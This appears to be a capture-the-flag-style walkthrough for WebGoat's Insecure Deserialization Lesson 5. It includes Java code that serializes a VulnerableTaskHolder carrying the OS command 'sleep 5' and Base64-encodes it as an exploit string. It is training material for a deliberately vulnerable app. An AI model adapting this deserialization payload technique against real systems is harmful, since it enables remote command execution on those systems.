WebGoat 8 - Insecure Deserialization - Lesson 5

WebGoat 8 - Insecure Deserialization - Lesson 5


1. Find the path for end function code.
Path:- https://github.com/WebGoat/WebGoat/bl...

2. Locate VulnerableTaskHolder class and focus on the readObject method
Path:- https://github.com/WebGoat/WebGoat/bl...


//Main.java
package org.dummy.insecure.framework;

import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
import java.util.Base64;

public class Main {
   static public void main(String[] args){
       try{
           VulnerableTaskHolder go = new VulnerableTaskHolder("sleep", "sleep 5");
           ByteArrayOutputStream bos = new ByteArrayOutputStream();
           ObjectOutputStream oos = new ObjectOutputStream(bos);
           oos.writeObject(go);
           oos.flush();
           byte[] exploit = bos.toByteArray();
           String exp = Base64.getEncoder().encodeToString(exploit);
           System.out.println(exp);
       } catch (Exception e){

       }

   }
}